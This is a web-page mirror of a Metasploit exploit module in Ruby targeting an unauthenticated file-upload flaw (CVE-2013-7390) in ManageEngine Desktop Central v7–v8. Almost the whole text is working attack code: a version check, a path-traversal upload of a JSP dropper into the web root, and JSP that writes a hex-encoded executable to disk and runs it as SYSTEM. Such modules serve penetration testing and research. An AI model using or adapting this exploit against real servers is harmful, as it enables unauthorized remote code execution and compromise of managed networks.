CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/desktopcentral_file_upload.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::EXE
11
include Msf::Exploit::FileDropper
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'ManageEngine Desktop Central AgentLogUpload Arbitrary File Upload',
16
'Description' => %q{
17
This module exploits an arbitrary file upload vulnerability in Desktop Central v7 to
18
v8 build 80293. A malicious user can upload a JSP file into the web root without
19
authentication, leading to arbitrary code execution as SYSTEM.
20
},
21
'Author' =>
22
[
23
'Thomas Hibbert <thomas.hibbert[at]security-assessment.com>' # Vulnerability discovery and MSF module
24
],
25
'License' => MSF_LICENSE,
26
'References' =>
27
[
28
['CVE', '2013-7390'],
29
['OSVDB', '100008'],
30
['URL', 'http://security-assessment.com/files/documents/advisory/Desktop%20Central%20Arbitrary%20File%20Upload.pdf'],
31
['URL', 'https://seclists.org/fulldisclosure/2013/Nov/130'],
32
],
33
'Platform' => 'win',
34
'Arch' => ARCH_X86,
35
'Targets' =>
36
[
37
[ 'Desktop Central v7 - v8 build 80292 / Windows', {} ]
38
],
39
'Privileged' => true,
40
'DefaultTarget' => 0,
41
'DisclosureDate' => '2013-11-11'
42
))
43
44
register_options([Opt::RPORT(8020)])
45
end
46
47
48
def upload_file(filename, contents)
49
res = send_request_cgi({
50
'uri' => normalize_uri('agentLogUploader'),
51
'method' => 'POST',
52
'data' => contents,
53
'ctype' => 'text/html',
54
'encode_params' => false,
55
'vars_get' => {
56
'computerName' => 'DesktopCentral',
57
'domainName' => 'webapps',
58
'customerId' => '..',
59
'filename' => filename
60
}
61
})
62
63
if res && res.code == 200 && res.body.to_s.empty?
64
return true
65
else
66
return false
67
end
68
end
69
70
# Test for Desktop Central
71
def check
72
res = send_request_cgi({
73
'uri' => normalize_uri("configurations.do"),
74
'method' => 'GET'
75
})
76
77
if res && res.code == 200
78
build = nil
79
80
if res.body.to_s =~ /ManageEngine Desktop Central 7/ ||
81
res.body.to_s =~ /ManageEngine Desktop Central MSP 7/ # DC v7
82
83
print_status("Detected Desktop Central v7")
84
elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ ||
85
res.body.to_s =~ /ManageEngine Desktop Central MSP 8/
86
87
if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v8 (later versions)
88
build = $1
89
print_status("Detected Desktop Central v8 #{build}")
90
else # DC v8 (earlier versions)
91
print_status("Detected Desktop Central v8")
92
end
93
elsif res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v9 (and higher?)
94
build = $1
95
end
96
97
if build.nil?
98
return Exploit::CheckCode::Unknown
99
elsif Rex::Version.new(build) < Rex::Version.new("80293")
100
return Exploit::CheckCode::Appears
101
else
102
return Exploit::CheckCode::Safe
103
end
104
end
105
106
Exploit::CheckCode::Unknown
107
end
108
109
110
def exploit
111
print_status("Uploading JSP to execute the payload")
112
113
exe = payload.encoded_exe
114
exe_filename = rand_text_alpha_lower(8) + ".exe"
115
116
dropper = jsp_drop_and_execute(exe, exe_filename)
117
dropper_filename = rand_text_alpha_lower(8) + ".jsp"
118
119
if upload_file(dropper_filename, dropper)
120
register_files_for_cleanup(exe_filename)
121
register_files_for_cleanup("..\\webapps\\DesktopCentral\\#{dropper_filename}")
122
else
123
fail_with(Failure::Unknown, "#{peer} - JSP upload failed")
124
end
125
126
print_status("Executing payload")
127
send_request_cgi(
128
{
129
'uri' => normalize_uri(dropper_filename),
130
'method' => 'GET'
131
})
132
end
133
134
135
def jsp_drop_bin(bin_data, output_file)
136
jspraw = %Q|<%@ page import="java.io.*" %>\n|
137
jspraw << %Q|<%\n|
138
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
139
140
jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
141
142
jspraw << %Q|int numbytes = data.length();\n|
143
144
jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
145
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
146
jspraw << %Q|{\n|
147
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
148
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
149
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
150
jspraw << %Q| comb <<= 4;\n|
151
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
152
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
153
jspraw << %Q|}\n|
154
155
jspraw << %Q|outputstream.write(bytes);\n|
156
jspraw << %Q|outputstream.close();\n|
157
jspraw << %Q|%>\n|
158
159
jspraw
160
end
161
162
163
def jsp_execute_command(command)
164
jspraw = %Q|\n|
165
jspraw << %Q|<%\n|
166
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
167
jspraw << %Q|%>\n|
168
169
jspraw
170
end
171
172
173
def jsp_drop_and_execute(bin_data, output_file)
174
jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
175
end
176
end
177
178